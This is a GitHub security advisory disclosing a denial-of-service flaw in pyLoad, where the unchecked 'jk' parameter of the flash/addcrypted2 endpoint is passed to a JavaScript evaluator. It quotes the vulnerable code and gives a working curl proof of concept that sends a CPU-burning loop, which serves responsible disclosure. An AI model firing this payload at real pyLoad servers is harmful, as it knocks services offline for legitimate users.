GHSA-9gjj-6gj7-c4wj
Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
Dear Maintainers,
I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.
### Summary
The `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.
### Details
- Endpoint: flash/addcrypted2
- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123
https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42
affected code
```python
@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
package = flask.request.form.get(
"package", flask.request.form.get("source", flask.request.form.get("referer"))
)
crypted = flask.request.form["crypted"]
jk = flask.request.form["jk"]
pack_password = flask.request.form.get("passwords")
crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
jk = eval_js(f"{jk} f()")
```
```python
def eval_js(script, es6=False):
if sys.version_info < (3, 12):
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
else:
return dukpy.evaljs(script)
```
### PoC
download pyload and run locally, send the following request
- PoC
```shell
curl -X POST "http://localhost:8000/flash/addcrypted2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "crypted=SGVsbG8gd29ybGQ=" \
-d "passwords=pyload" \
-d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"
```
The 30_000 can be modified to any large value.
### Impact
System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.
Use the following command to check CPU usage
```shell
top -pid $(pgrep -f "pyload.__main__")
```
or
```shell
top -pid $(pgrep -f "pyload")
```
The CPU is fully occupied
<img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />
web-ui unresponsive
<img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />
References
External links from the advisory. They lead to third-party sites.